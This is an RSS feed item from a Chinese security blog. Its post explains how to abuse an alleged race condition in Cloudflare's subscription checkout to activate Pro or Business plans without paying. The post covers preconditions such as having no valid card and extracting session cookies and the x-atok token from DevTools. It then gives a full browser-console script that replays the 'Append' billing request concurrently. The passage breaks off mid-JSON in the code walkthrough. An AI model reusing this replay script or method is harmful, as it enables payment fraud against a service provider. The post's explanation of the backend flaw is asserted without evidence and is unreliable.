<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Security on 逍遥笔记</title><link>https://blog.7qiang.com/categories/security/</link><description>Recent content in Security on 逍遥笔记</description><generator>Hugo -- gohugo.io</generator><language>zh-cn</language><copyright>逍遥笔记</copyright><lastBuildDate>Tue, 19 May 2026 16:10:00 +0000</lastBuildDate><atom:link href="https://blog.7qiang.com/categories/security/index.xml" rel="self" type="application/rss+xml"/><item><title>Cloudflare 计费逻辑缺陷：请求重放如何绕过订阅支付</title><link>https://blog.7qiang.com/posts/manual-sec-20260519-cloudflare-billing-race-condition/</link><pubDate>Tue, 19 May 2026 16:10:00 +0000</pubDate><guid>https://blog.7qiang.com/posts/manual-sec-20260519-cloudflare-billing-race-condition/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post Cloudflare 计费逻辑缺陷：请求重放如何绕过订阅支付" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;⚠️ 免责声明：本文基于已公开资料进行技术复盘，所有内容仅用于授权安全研究与防御建设。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;⚠️ 时效性提醒（2026-07 更新）&lt;/strong&gt;：本文发布于 2026 年 5 月，距今已过去 2 个月。Cloudflare 对安全漏洞响应迅速，该计费竞态条件大概率已被修复，&lt;strong&gt;当前可用性存疑&lt;/strong&gt;。本文保留仅供分布式系统安全设计参考。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="一一个有趣的发现身份与权限的量子叠加"&gt;一、一个有趣的发现：身份与权限的&amp;quot;量子叠加&amp;quot;
&lt;/h2&gt;&lt;p&gt;在针对 Cloudflare 订阅体系进行逆向测试时，研究人员发现前端结算逻辑与后端状态同步之间存在一个精妙的&amp;quot;空隙&amp;quot;——通过特定方式的&lt;strong&gt;请求重放（Replay Attack）&lt;/strong&gt;，可以在系统未产生实际账单的情况下，诱导后端激活 Pro 或 Business 计划。&lt;/p&gt;
&lt;p&gt;其核心表现不是简单的&amp;quot;绕过&amp;quot;，而是一种奇特的&lt;strong&gt;状态错位&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;权限已越权&lt;/strong&gt;：账号实质性解锁 Pro/Business 专属功能——WAF 高级规则、图像优化、独享边缘节点等全部可用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;状态未同步&lt;/strong&gt;：订阅管理界面仍显示为 &lt;code&gt;Free&lt;/code&gt; 计划，计费链路未闭环，不产生任何待支付条目或扣费账单。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;零成本运行&lt;/strong&gt;：利用结算接口的逻辑缺陷，实现了高级权限的&amp;quot;0 元购&amp;quot;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这种现象在安全研究中有一个形象的名字——&lt;strong&gt;量子叠加态&lt;/strong&gt;：账号同时处于 Free 和 Pro 两种状态，取决于你从哪个维度去观测它。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二前置条件"&gt;二、前置条件
&lt;/h2&gt;&lt;p&gt;复现该逻辑缺陷需要满足以下条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;域名已接入&lt;/strong&gt; Cloudflare 账户；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;支付环境未绑定有效卡&lt;/strong&gt;（或绑定余额为 0 的卡以通过前端校验）；&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;Active Subscriptions&lt;/code&gt; 页面点击 &lt;code&gt;Change&lt;/code&gt;，选择 Pro 或 Business，进入待支付页面。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;到这里，你拥有了一个&lt;strong&gt;合法的会话上下文&lt;/strong&gt;——这是关键。接下来的所有操作，都是在合法会话内对接口时序的操纵，而非传统的认证绕过。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="三漏洞利用全流程"&gt;三、漏洞利用全流程
&lt;/h2&gt;&lt;h3 id="第一步定位关键请求"&gt;第一步：定位关键请求
&lt;/h3&gt;&lt;p&gt;打开浏览器 DevTools（&lt;code&gt;F12&lt;/code&gt;），切换到 &lt;strong&gt;Network&lt;/strong&gt; 标签页。&lt;/p&gt;
&lt;p&gt;在待支付页面点击底部的 &lt;strong&gt;支付按钮&lt;/strong&gt;，留意 Network 面板中新产生的请求。定位名为 &lt;strong&gt;&lt;code&gt;Append&lt;/code&gt;&lt;/strong&gt; 的 POST 请求——这就是 Cloudflare 订阅结算的核心接口。&lt;/p&gt;
&lt;p&gt;这个请求一旦发出，后端会同时触发两条路径：&lt;strong&gt;权限授予&lt;/strong&gt; 和 &lt;strong&gt;支付校验&lt;/strong&gt;。问题就出在这两条路径不是原子执行的。&lt;/p&gt;
&lt;h3 id="第二步提取攻击所需参数"&gt;第二步：提取攻击所需参数
&lt;/h3&gt;&lt;p&gt;选中 &lt;code&gt;Append&lt;/code&gt; 请求，从 DevTools 中提取以下四个关键要素：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;参数&lt;/th&gt;
 &lt;th&gt;DevTools 位置&lt;/th&gt;
 &lt;th&gt;用途&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;Request URL&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Headers → General → Request URL&lt;/td&gt;
 &lt;td&gt;目标接口地址，类似 &lt;code&gt;https://dash.cloudflare.com/api/v4/.../append&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;Cookie&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Headers → Request Headers → Cookie&lt;/td&gt;
 &lt;td&gt;当前登录会话的身份凭证&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;X-atok&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Headers → Request Headers → x-atok&lt;/td&gt;
 &lt;td&gt;Cloudflare 仪表盘的 CSRF/身份校验令牌，每次登录刷新&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;Payload&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Payload → View Source&lt;/td&gt;
 &lt;td&gt;请求体的原始 JSON，包含订阅升级的目标计划 ID、域名 zone_id 等&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;这四个参数构成了一个完整的&amp;quot;合法升级请求&amp;quot;。重放它们，就是在用合法的身份反复触发升级逻辑。&lt;/p&gt;
&lt;h3 id="第三步理解核心漏洞原理"&gt;第三步：理解核心漏洞原理
&lt;/h3&gt;&lt;p&gt;一个健康的订阅结算流程应该是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /append → 校验支付 → 支付成功 → 写入 Pro 权限
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;但 Cloudflare 的实际实现路径是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;POST /append → 写入 Pro 权限 ─┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ├─ 两步异步，非原子
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 异步校验支付 ────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 支付失败（无有效卡）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 补偿任务回滚权限（有延迟，可能漏执行）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;两条路径之间存在一个时间窗口&lt;/strong&gt;。在这个窗口内，权限已经写入 Metadata，但账单尚未确认失败。如果利用并发请求冲击这个窗口，就能让权限&amp;quot;生根&amp;quot;而账单&amp;quot;流产&amp;quot;——数据库的 MVCC 机制在大量并发写入时，某些写操作可能绕过回滚逻辑。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="四漏洞利用脚本详解"&gt;四、漏洞利用脚本详解
&lt;/h2&gt;&lt;p&gt;以下是完整的 DevTools Console 自动化重放脚本。把它粘贴到浏览器 Console 中执行，替换掉 &lt;code&gt;PASTE_XXX&lt;/code&gt; 占位符即可：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * Cloudflare Subscription Bypass Replay Script
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; * 在 DevTools Console 中执行，利用 Append 接口的竞态窗口
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt; */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ========== 第一步：填入从 Network 面板提取的参数 ==========
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PASTE_YOUR_URL_HERE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ↑ 从 Headers → General → Request URL 复制
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 格式类似：https://dash.cloudflare.com/api/v4/accounts/xxx/subscriptions/xxx/append
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;content-type&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;application/json&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;accept&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;*/*&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;origin&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://dash.cloudflare.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;referer&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://dash.cloudflare.com/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;x-atok&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PASTE_YOUR_X_ATOK_HERE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// ← 从 Request Headers 复制
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;x-cross-site-security&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;dash&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;cookie&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PASTE_YOUR_COOKIE_HERE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// ← 从 Request Headers 复制
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;user-agent&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// ← 从 Payload → View Source 复制完整 JSON
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 包含 zone_id、plan_id、billing_cycle 等字段
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ========== 第二步：执行并发重放 ==========
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;delay&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;async&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%c 开始执行请求重放...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;color: #007aff; font-weight: bold;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`[Batch &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;] Status: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`[Batch &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;] Error:`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 每次请求间隔 100ms
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%c 脚本执行完毕，请刷新控制面板验证权限。&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;color: #34c759; font-weight: bold;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="逐行深度拆解"&gt;逐行深度拆解
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;① 请求头中的安全参数复用&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;&amp;#39;x-atok&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PASTE_YOUR_X_ATOK_HERE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;&amp;#39;cookie&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;PASTE_YOUR_COOKIE_HERE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;&amp;#39;x-cross-site-security&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;dash&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;X-atok&lt;/code&gt; 是 Cloudflare 仪表盘的反 CSRF 令牌，在页面加载时注入，每次登录会话生成一次。正常情况下它防止跨站请求伪造，但在这里我们&lt;strong&gt;在同源的 Console 中重放&lt;/strong&gt;，完全合法。&lt;code&gt;x-cross-site-security: dash&lt;/code&gt; 是 Cloudflare 内部微服务间通信的标识头，说明请求走的是 Dashboard 的内部网关路径。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;② Payload 的结构&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从 &lt;code&gt;View Source&lt;/code&gt; 复制出来的 JSON 包含关键字段：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;zone_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;xxx&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;plan_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;pro&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;business&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;billing_cycle&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;monthly&amp;#34;&lt;/span&gt; &lt;span class="err"&gt;|&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;annual&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
